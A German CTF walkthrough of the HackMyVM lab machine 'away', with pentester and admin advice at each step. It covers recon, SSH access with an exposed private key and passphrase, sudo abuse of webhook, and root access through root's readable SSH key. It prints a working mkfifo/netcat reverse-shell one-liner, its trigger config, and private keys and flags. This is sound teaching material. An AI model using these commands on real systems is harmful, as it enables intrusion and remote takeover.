Analyse: Der erste Schritt ist die Identifizierung aktiver Hosts im lokalen Netzwerk mittels `arp-scan -l`. Dieses Tool sendet ARP-Anfragen, um IP- und MAC-Adressen von Geräten im selben Netzwerksegment zu ermitteln.
Bewertung: `arp-scan` findet erfolgreich ein Zielsystem mit der IP-Adresse `192.168.2.121`. Die zugehörige MAC-Adresse `08:00:27:5c:d5:78` gehört laut OUI-Lookup (PCS Systemtechnik GmbH) zu Oracle VirtualBox, was darauf hindeutet, dass es sich um eine virtuelle Maschine handelt. Dies ist die primäre IP für weitere Untersuchungen.
Empfehlung (Pentester): Die gefundene IP `192.168.2.121` als Ziel für detailliertere Scans (Nmap, etc.) verwenden. Die MAC-Adresse notieren, bestätigt die Virtualisierungsumgebung.
Empfehlung (Admin): Netzwerkmonitoring implementieren, um ARP-Scans zu erkennen. Sicherstellen, dass nur autorisierte Systeme im Netzwerk aktiv sind.
192.168.2.121 08:00:27:5c:d5:78 PCS Systemtechnik GmbH
Analyse: Ein umfassender `nmap`-Scan wird gegen die Ziel-IP `192.168.2.121` durchgeführt, um offene Ports, Dienste, Versionen und Betriebssysteminformationen zu sammeln. * `-sS`: SYN-Scan (Stealth). * `-sC`: Führt Standard-Nmap-Skripte aus. * `-T5`: Sehr schnelles Timing (riskant, potenziell ungenau/laut). * `-sV`: Versionserkennung. * `-A`: Aggressiver Scan (OS-Erkennung, Version, Skripte, Traceroute). * `-p-`: Scannt alle 65535 TCP-Ports.
Bewertung: Der Scan identifiziert zwei offene Ports: * **Port 22 (SSH):** Läuft OpenSSH 8.4p1 (Debian). Die verschiedenen Host-Keys werden angezeigt. * **Port 80 (HTTP):** Läuft Nginx 1.18.0. Die Webseite hat keinen Titel (`Site doesn't have a title`). Die OS-Erkennung deutet auf ein Linux-System (Kernel 4.x/5.x) hin. Die MAC-Adresse bestätigt VirtualBox.
Empfehlung (Pentester): Die offenen Ports SSH und HTTP sind die primären Angriffsvektoren. Den Webserver auf Port 80 genauer untersuchen (Verzeichnisse, Dateien, Anwendungen). SSH im Auge behalten für spätere Login-Versuche, falls Benutzerdaten gefunden werden.
Empfehlung (Admin): Sicherstellen, dass nur benötigte Ports offen sind. Nginx und OpenSSH aktuell halten und sicher konfigurieren (z.B. SSH mit Key-Authentifizierung und Fail2Ban).
PORT STATE SERVICE VERSION ===================================================================== 22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0) | ssh-hostkey: | 3072 f1:87:03:41:21:12:ef:80:3c:8f:07:2f:8b:3c:6e:2a (RSA) | 256 5f:f9:ca:19:0d:74:65:2c:97:4a:36:a4:04:7c:9b:bd (ECDSA) |_ 256 39:a4:b3:38:94:c5:d2:77:07:a1:dd:b4:2f:0a:5a:44 (ED25519) 80/tcp open http nginx 1.18.0 |_http-title: Site doesn't have a title (text/html). |_http-server-header: nginx/1.18.0 MAC Address: 08:00:27:5C:D5:78 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Analyse: `gobuster` wird verwendet, um Verzeichnisse und Dateien auf dem Webserver zu finden. * `dir`: Modus für Verzeichnissuche. * `-u "http://192.168.2.121"`: Ziel-URL. * `-w ...directory-list-2.3-medium.txt`: Wortliste. * `-e`: Erweiterte URL-Ausgabe. * `-x ...`: Lange Liste von Dateiendungen zum Testen. * `-t 100`: Anzahl der Threads (sehr hoch, kann den Server belasten oder zu Fehlern führen). * `-s "200,204,301,302,307,401"`: Zeigt nur Ergebnisse mit diesen Statuscodes an.
Bewertung: Gobuster findet nur eine einzige Datei: `index.html` mit Status 200 OK. Dies deutet auf eine sehr spartanische Webseite oder eine Single-Page Application hin. Keine offensichtlichen Verzeichnisse oder andere interessante Dateien wurden gefunden.
Empfehlung (Pentester): Den Inhalt von `index.html` analysieren (z.B. mit `curl http://192.168.2.121/index.html`). Nach Kommentaren, JavaScript-Code, Links oder Hinweisen auf APIs oder versteckte Funktionalitäten suchen. Evtl. Fuzzing auf Parameter oder andere Verzeichnisse mit spezifischeren Wortlisten versuchen.
Empfehlung (Admin): Sicherstellen, dass keine unnötigen Dateien oder Verzeichnisse über den Webserver erreichbar sind. Directory Listing deaktivieren.
==============================================================================================================================
http://192.168.2.121/index.html (Status: 200) [Size: 247]
==============================================================================================================================
Analyse: Ein ASCII-Art-Block wird angezeigt, der einen SSH ED25519 Key-Fingerprint darstellt und den Login-Namen `tula` erwähnt.
Bewertung: Dies ist ein starker Hinweis auf einen gültigen Benutzernamen (`tula`) für das System, der wahrscheinlich für SSH verwendet wird. Die Quelle dieses Hinweises ist unklar (vielleicht aus der `index.html` oder einer anderen Informationsquelle, die hier nicht gezeigt wird).
Empfehlung (Pentester): Den Benutzernamen `tula` für SSH-Login-Versuche verwenden.
Empfehlung (Admin): Keine Benutzernamen oder SSH-Key-Informationen unnötig preisgeben.
Login: tula
+--[ED25519 256]--+
| . . =+. .o.. |
| + +.+ . .o |
| = + + + o |
| + B + o o |
| = S o . |
| = + o . |
| + X o . |
| O O. . . . |
| . E+.. . . |
+----[SHA256]-----+
Analyse: Es wird versucht, sich per SSH als der vermutete Benutzer `tula` am Zielsystem anzumelden.
Bewertung: Der Versuch schlägt fehl mit der Meldung `Permission denied (publickey)`. Das bedeutet: 1. Der Benutzer `tula` existiert wahrscheinlich. 2. Passwort-Authentifizierung ist für diesen Benutzer (oder generell) deaktiviert. 3. Es wird ausschließlich Public-Key-Authentifizierung erwartet, und der Angreifer hat (noch) nicht den passenden privaten Schlüssel.
Empfehlung (Pentester): Nach dem privaten SSH-Schlüssel für den Benutzer `tula` suchen. Mögliche Quellen: Webserver-Verzeichnisse, Konfigurationsdateien, andere Dienste (wie Rsync, falls vorhanden), LFI-Schwachstellen.
Empfehlung (Admin): Gut, dass Passwort-Authentifizierung deaktiviert ist. Key-basierte Authentifizierung ist sicherer, aber die privaten Schlüssel müssen geschützt werden.
The authenticity of host '192.168.2.121 (192.168.2.121)' can't be established.
ED25519 key fingerprint is SHA256:dkQRqegU8A17eOn7ci8TfgVqDJbPWh5SXiJNzKN9QIo.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.121' (ED25519) to the list of known hosts.
tula@192.168.2.121: Permission denied (publickey).
Analyse: `ssh-keyscan` wird verwendet, um die öffentlichen SSH-Host-Schlüssel des Zielsystems abzurufen.
Bewertung: Dies bestätigt die von Nmap gefundenen Schlüsseltypen (ED25519, RSA, ECDSA) und liefert deren öffentliche Schlüssel im Base64-Format. Dies ist hauptsächlich zur Verifizierung der Host-Identität nützlich und bietet keinen direkten Angriffsvektor.
Empfehlung (Pentester): Die Ausgabe kann ignoriert werden, wenn die Host-Identität bereits durch den vorherigen SSH-Versuch bestätigt wurde.
Empfehlung (Admin): Keine spezifischen Maßnahmen erforderlich, da dies öffentliche Informationen sind.
# 192.168.2.121:22 SSH-2.0-OpenSSH_8.4p1 Debian-5 192.168.2.121 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ64sTDhyY0CptujqKmx1edDrrFKa4XviRxLXFoIfc/8 # 192.168.2.121:22 SSH-2.0-OpenSSH_8.4p1 Debian-5 192.168.2.121 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDH/1T/RgXcVbn6EgafjjLQhGE4pYKv4ERz1BZB+tVzvwnLhPYTX+yErYrj5V+vrC8Xfw6pHsNV2P9d8ZP74QZoUaPXISyFXbM18Eq2AMqIiSUrZvCCKq6j1q1irldDWfz3fF40uarKY42TMvim2lSXrH61GpwhH3BBmfrPPVy9VdJV2936rhbaiiCh0VME96i1SBXz7VxFl9qwNDjS9Qx6yEZriJ48b9n5CxQhkWUFVWddn/Pk3zBoZ0jgRfRhvShfu5CyvxSld6uy7D07b6nDIAebD8JyHndFBmXiAH1VQV8pk+KuZ0CyqPjLw5zCJWHu22ZSnOeBfV49qADLiguHt+D2yOwDIFTYGChhElCmVcJbdyEXbKFmuMOPAeYsr4LVxJYf39cp0isBegACit4t5y1rOzkX1bE//wvnosZIObL9d1usJAjX5llIY6YhSqFKYXOsJW5zF2p+BBZOUGa65vsvpjp5NvLM3Ik8QkVT3tDNBGPiiTmwGt0LjfHloWE= # 192.168.2.121:22 SSH-2.0-OpenSSH_8.4p1 Debian-5 192.168.2.121 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOYvsbJJWK+RjISNYHrjsKKTmYifa3yZ4AqCSuzfVoyugM1/xJcFSHYnNkp0CZKr6ZolLZ9r1D0QMFWlQZFRSUE=
Analyse: Die lokale `/etc/hosts`-Datei wird angezeigt. Sie enthält nun einen Eintrag, der die IP `192.168.2.121` dem Hostnamen `away.hmv` zuordnet.
Bewertung: Dies wurde wahrscheinlich nach den vorherigen Schritten hinzugefügt, um die Ansprache des Ziels über den Namen zu ermöglichen.
Empfehlung (Pentester): Den Namen `away.hmv` für zukünftige Befehle verwenden.
Empfehlung (Admin): Keine Maßnahmen möglich/nötig.
127.0.0.1 localhost
192.168.2.121 away.hmv
Analyse: Der Inhalt einer Datei namens `id_ed25519.pub` (vermutlich auf dem Angreifer-System im Verzeichnis `/home/cyber/Downloads/`) wird angezeigt. Es handelt sich um einen öffentlichen SSH-Schlüssel im ED25519-Format. Am Ende der Schlüsselzeile steht ein Kommentar: `My passphrase is: Theclockisticking`.
Bewertung: **Kritischer Fund!** Dies ist der öffentliche Teil eines SSH-Schlüsselpaares. Der Kommentar verrät im Klartext die Passphrase (`Theclockisticking`), die zum Schutz des dazugehörigen *privaten* Schlüssels verwendet wird. Dies ist eine massive Sicherheitslücke, da Passphrasen niemals im öffentlichen Schlüssel gespeichert werden sollten.
Empfehlung (Pentester): Die Passphrase `Theclockisticking` notieren. Nun den dazugehörigen privaten Schlüssel (`id_ed25519` ohne `.pub`) finden. Dieser könnte auf dem Webserver liegen oder anderweitig zugänglich sein.
Empfehlung (Admin): SSH-Schlüssel korrekt generieren und verwenden. Passphrasen sicher und getrennt vom Schlüssel aufbewahren. Kommentare in öffentlichen Schlüsseln sollten keine sensiblen Informationen enthalten. Benutzer schulen, Passphrasen nicht in Kommentaren zu speichern.
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIpBfnwSG2XZXFTsYR6Gg1apA+kuSgdtTkrrhhgskSJf My passphrase is: Theclockisticking
Analyse: Mit `curl` wird versucht, eine Datei namens `id_ed25519` vom Webserver unter `http://192.168.2.121/id_ed25519` herunterzuladen.
Bewertung: **Erfolg!** Der Server liefert den Inhalt der Datei, und es handelt sich tatsächlich um einen privaten SSH-Schlüssel (`-----BEGIN OPENSSH PRIVATE KEY-----`). Es ist extrem unsicher, einen privaten Schlüssel direkt über HTTP zugänglich zu machen.
Empfehlung (Pentester): Den privaten Schlüssel speichern. Da die Passphrase (`Theclockisticking`) aus dem öffentlichen Schlüssel bekannt ist, kann dieser Schlüssel nun verwendet werden, um sich als der Benutzer anzumelden, dem dieser Schlüssel gehört (wahrscheinlich `tula`).
Empfehlung (Admin): **Sofort den privaten Schlüssel vom Webserver entfernen!** Private Schlüssel dürfen niemals über HTTP erreichbar sein. Webserver-Konfiguration überprüfen, um sicherzustellen, dass keine sensiblen Dateien im Web-Root oder anderen zugänglichen Verzeichnissen liegen. Berechtigungen prüfen.
-----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABA+GY+qad MDkU/yMHam3bmdAAAAEAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIIpBfnwSG2XZXFTs YR6Gg1apA+kuSgdtTkrrhhgskSJfAAAAsAEbt6fRUQfkYGDCdAa/zOBpiUuAV1kGiDs3F1 gD8y+UxeRdz6gQxbHAY53rE25YN+t1bml5GuNMx99CLApAQCMgeePifFV+t2gRnaMEGRnf 4u1RfM20X6rRYdKeQKHwrE5b/m4xgKC5FvKfiGESqirQ2XPWZnOfbcNc+czsut8t8v+zfl kYo1mO1M4Va9i+OipgnoOJkdNB+mdx2f7YE0lWoHdt/7KVG5eDB90WrJZF -----END OPENSSH PRIVATE KEY-----
Analyse: Der heruntergeladene private Schlüssel wird vermutlich lokal als `id_rsa` gespeichert (obwohl es ein ed25519-Schlüssel ist - Dateiname ist hier nicht entscheidend). Die Berechtigungen werden mit `chmod 600` korrekt gesetzt, damit SSH den Schlüssel akzeptiert. Anschließend wird versucht, sich als `tula` mit diesem Schlüssel (`-i id_rsa`) und der bekannten Passphrase (`Theclockisticking`) anzumelden.
Bewertung: **Erfolg!** Nach Eingabe der korrekten Passphrase wird die SSH-Verbindung als Benutzer `tula` erfolgreich hergestellt.
Empfehlung (Pentester): Initial Access erfolgreich! Nun als `tula` auf dem System enumerieren, insbesondere `sudo -l` prüfen und die User-Flag suchen.
Empfehlung (Admin): Den kompromittierten SSH-Schlüssel sofort für ungültig erklären (aus `authorized_keys` entfernen) und einen neuen, sicheren Schlüssel generieren. Die Ursache für die Preisgabe des privaten Schlüssels und der Passphrase untersuchen und beheben.
The authenticity of host 'away.hmv (192.168.2.121)' can't be established.
ED25519 key fingerprint is SHA256:dkQRqegU8A17eOn7ci8TfgVqDJbPWh5SXiJNzKN9QIo.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:59: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'away.hmv' (ED25519) to the list of known hosts.
Enter passphrase for key 'id_rsa': Theclockisticking
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jun 17 10:28:31 2022 from 192.168.1.51
tula@away:~$
Analyse: Als Benutzer `tula` werden die `sudo`-Rechte überprüft und die User-Flag ausgelesen.
Bewertung: * `sudo -l`: Zeigt eine interessante Regel: `User tula may run the following commands on away: (lula) NOPASSWD: /usr/bin/webhook`. Der Benutzer `tula` darf das Programm `/usr/bin/webhook` als Benutzer `lula` ohne Passwort ausführen. Dies ist ein klarer Vektor für Privilegieneskalation zu `lula`. * `cat user.txt`: Liest erfolgreich die User-Flag: `HMVDULEMISPLCYDKEG`.
Empfehlung (Pentester): User-Flag notieren. Die `sudo`-Regel für `/usr/bin/webhook` ausnutzen, um Befehle als Benutzer `lula` auszuführen oder eine Shell als `lula` zu erhalten. Recherchieren, wie `webhook` funktioniert und wie es für RCE missbraucht werden kann (oft durch Definition von Hooks in einer Konfigurationsdatei).
Empfehlung (Admin): `sudo`-Regeln überprüfen. Die Ausführung von potenziell gefährlichen Programmen wie `webhook` über `sudo` vermeiden oder stark einschränken. Sicherstellen, dass der Benutzer `lula` nur minimale Rechte hat.
Matching Defaults entries for tula on away:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User tula may run the following commands on away:
(lula) NOPASSWD: /usr/bin/webhook
HMVDULEMISPLCYDKEG
Analyse: Vorbereitung und Ausführung des Webhook-Exploits. * `nmap 192.168.2.121 -p9000`: Überprüft, ob Port 9000 (Standardport für Webhook) offen ist. Er ist offen (`cslistener` - oft ein Platzhaltername für unbekannte Dienste auf diesem Port). * `mkdir /tmp/webhook`, `nano hooks.json`, `cp hooks.json webhook/`: Erstellt ein Arbeitsverzeichnis und eine Konfigurationsdatei (`hooks.json`) für Webhook. Der Inhalt wird nicht gezeigt, aber er definiert wahrscheinlich einen Hook, der einen Befehl ausführt. * `nano /dev/shm/exploit.sh`, `chmod 777 /dev/shm/exploit.sh`, `chmod +x /dev/shm/exploit.sh`: Erstellt ein Shell-Skript (`exploit.sh`) im speicherbasierten Dateisystem `/dev/shm` (oft weniger restriktiv als `/tmp`) und macht es ausführbar. Der Inhalt wird später gezeigt (Reverse Shell). * `cd /tmp/`: Wechselt in das temporäre Verzeichnis. * `sudo -u lula /usr/bin/webhook -hooks hooks.json -verbose`: Startet den Webhook-Dienst als Benutzer `lula` über die `sudo`-Regel. `-hooks hooks.json` lädt die erstellte Konfiguration, `-verbose` zeigt Log-Meldungen an.
Bewertung: Dies sind die Schritte zur Vorbereitung der Privilegieneskalation via Webhook. Der Webhook-Dienst wird als `lula` gestartet und lauscht auf Port 9000. Er ist so konfiguriert (`hooks.json`), dass er bei Auslösung eines bestimmten Hooks (hier `redeploy-webhook`) das Skript `/dev/shm/execute.sh` (Name im Log, nicht `exploit.sh`?) ausführt. Die Log-Meldungen zeigen, dass der Dienst erfolgreich startet und auf Anfragen wartet.
Empfehlung (Pentester): Den Hook über eine HTTP-Anfrage an `http://localhost:9000/hooks/redeploy-webhook` (oder von außen, falls erreichbar) auslösen, um das `/dev/shm/execute.sh`-Skript als `lula` auszuführen.
Empfehlung (Admin): `sudo`-Regel für Webhook entfernen. Dienste wie Webhook sicher konfigurieren, Authentifizierung für Hooks implementieren und sicherstellen, dass sie keine beliebigen Befehle ausführen können.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-05 23:14 CEST
Nmap scan report for away.hmv (192.168.2.121)
Host is up (0.00015s latency).
PORT STATE SERVICE
9000/tcp open cslistener
[webhook] 2022/10/05 23:02:59 version 2.6.9 starting
[webhook] 2022/10/05 23:02:59 setting up os signal watcher
[webhook] 2022/10/05 23:02:59 attempting to load hooks from hooks.json
[webhook] 2022/10/05 23:02:59 found 1 hook(s) in file
[webhook] 2022/10/05 23:02:59 loaded: redeploy-webhook
[webhook] 2022/10/05 23:02:59 serving hooks on http://0.0.0.0:9000/hooks/{id}
[webhook] 2022/10/05 23:02:59 os signal watcher ready
[webhook] 2022/10/05 23:20:52 [6f2b2c] redeploy-webhook hook triggered successfully
[webhook] 2022/10/05 23:20:52 Completed 200 OK in 49.321µs
[webhook] 2022/10/05 23:20:52 [6f2b2c] executing /dev/shm/execute.sh (/dev/shm/execute.sh) with arguments ["/dev/shm/execute.sh"] and environment [] using /tmp/webhook as cwd
Analyse: Ein Netcat-Listener wird auf dem Angreifer-System gestartet (Port 9001). Anschließend wird der Webhook auf dem Zielsystem ausgelöst, indem die URL `http://192.168.2.121:9000/hooks/redeploy-webhook` aufgerufen wird (z.B. mit `curl` oder im Browser). Dies führt dazu, dass der Webhook-Dienst (als `lula`) das Skript `/dev/shm/execute.sh` ausführt, welches eine Reverse Shell zum Listener aufbaut.
Bewertung: Erfolg! Der Listener meldet eine eingehende Verbindung. Der `id`-Befehl in der neuen Shell bestätigt, dass der Pentester nun als Benutzer `lula` (uid=1001) agiert. Die Eskalation von `tula` zu `lula` ist abgeschlossen.
Empfehlung (Pentester): Die Shell als `lula` stabilisieren. Erneut `sudo -l` prüfen und die Umgebung enumerieren, um Wege zu `root` zu finden.
Empfehlung (Admin): `sudo`-Regel für Webhook entfernen. Den Webhook-Dienst sichern oder entfernen.
listening on [any] 9001 ...
http://192.168.2.121:9000/hooks/redeploy-webhook
listening on [any] 9001 ... connect to [192.168.2.140] from (UNKNOWN) [192.168.2.121] 42474 $ id uid=1001(lula) gid=1001(lula) groups=1001(lula) $
Analyse: Die Inhalte der für den Webhook-Exploit verwendeten Dateien werden angezeigt: 1. `/dev/shm/execute.sh`: Das Skript, das die Reverse Shell via `mkfifo` und `nc` startet. 2. `/tmp/webhook/hooks.json`: Die Konfiguration für den Webhook, die definiert, dass bei Aufruf des Hooks `redeploy-webhook` das Skript `/dev/shm/execute.sh` ausgeführt wird.
Bewertung: Dies dokumentiert den Mechanismus, der zur Erlangung der Shell als `lula` verwendet wurde.
Empfehlung (Pentester): Diese Informationen sind Teil der Dokumentation des Angriffs.
Empfehlung (Admin): Verstehen, wie der Exploit funktioniert hat, um die Schwachstellen (sudo-Regel, Webhook-Konfiguration) zu beheben.
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.140 9001 >/tmp/f
[
{
"id": "redeploy-webhook",
"execute-command": "/dev/shm/execute.sh",
"command-working-directory": "/tmp/webhook"
}
]
http://192.168.2.121:9000/hooks/redeploy-webhook
Analyse: In der Shell als `lula` wird versucht, mit `/usr/bin/more` den privaten SSH-Schlüssel des Root-Benutzers (`/root/.ssh/id_ed25519`) zu lesen.
Bewertung: **Erfolg!** Der Befehl zeigt den Inhalt des privaten Schlüssels an. Dies ist eine **gravierende Sicherheitslücke**. Der Benutzer `lula` sollte unter keinen Umständen Leserechte auf das `.ssh`-Verzeichnis oder die privaten Schlüssel von `root` haben. Die Ursache für diese Berechtigung ist unklar (Fehlkonfiguration, Sticky Bit, ACLs?), wird aber sofort ausgenutzt.
Empfehlung (Pentester): Den privaten Root-Schlüssel kopieren. Da er nicht passwortgeschützt zu sein scheint (kein `ENCRYPTED`-Header sichtbar), kann er direkt verwendet werden, um sich als `root` per SSH anzumelden.
Empfehlung (Admin): **Dringend die Berechtigungen für `/root` und insbesondere `/root/.ssh` überprüfen und korrigieren!** Nur `root` darf darauf Lesezugriff haben (`chmod 700 /root/.ssh`, `chmod 600 /root/.ssh/id_*`). Untersuchen, wie `lula` die Leseberechtigung erhalten hat.
/usr/bin/more /root/.ssh/id_ed25519 -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW QyNTUxOQAAACCZsnRA543yhxJSmFw8Nc2vT6umh4rqVRA5RwgKbTm/SAAAAJB3Fxg4dxcY OAAAAAtzc2gtZWQyNTUxOQAAACCZsnRA543yhxJSmFw8Nc2vT6umh4rqVRA5RwgKbTm/SA AAAECDZ5NtdbnBm8jUAAdwpKe3m6amsmnVy+AS2qRite6MpZmydEDnjfKHElKYXDw1za9P q6aHiupVEDlHCAptOb9IAAAACXJvb3RAYXdheQECAwQ= -----END OPENSSH PRIVATE KEY-----
Analyse: Der als `lula` ausgelesene private Root-Schlüssel wird auf dem Angreifer-System in eine Datei (`id_rsa_root`) gespeichert. Die Berechtigungen werden auf `600` gesetzt. Anschließend wird eine SSH-Verbindung als `root` zum Zielsystem `away.hmv` unter Verwendung dieses Schlüssels aufgebaut.
Bewertung: **Erfolg!** Der SSH-Login als `root` mit dem Schlüssel funktioniert ohne Passwortabfrage. Der Pentester hat nun vollständigen Root-Zugriff auf das System.
Empfehlung (Pentester): Root-Zugriff bestätigt. Die Root-Flag (`/root/ro0t.txt`) suchen und auslesen. System untersuchen und Bericht abschließen.
Empfehlung (Admin): Kompromittierten Root-Schlüssel ungültig machen (aus `authorized_keys` entfernen, neuen generieren). Die Ursache für das vorherige Berechtigungsproblem (Lesen des Schlüssels als `lula`) beheben. `sudo`-Regel für `tula` korrigieren.
Linux away 5.10.0-15-amd64 #1 SMP Debian 5.10.120-1 (2022-06-09) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jun 17 11:14:38 2022
root@away:~#
Analyse: Als `root` wird das Home-Verzeichnis aufgelistet und der Inhalt der Datei `ro0t.txt` (vermutlich ein Tippfehler statt `root.txt`) ausgelesen.
Bewertung: Die Root-Flag wird erfolgreich gelesen: `HMVNYDWAPOQNDYUBNI`.
Empfehlung (Pentester): Root-Flag notieren. Auftrag erfüllt.
Empfehlung (Admin): Flags sichern.
ro0t.txt
HMVNYDWAPOQNDYUBNI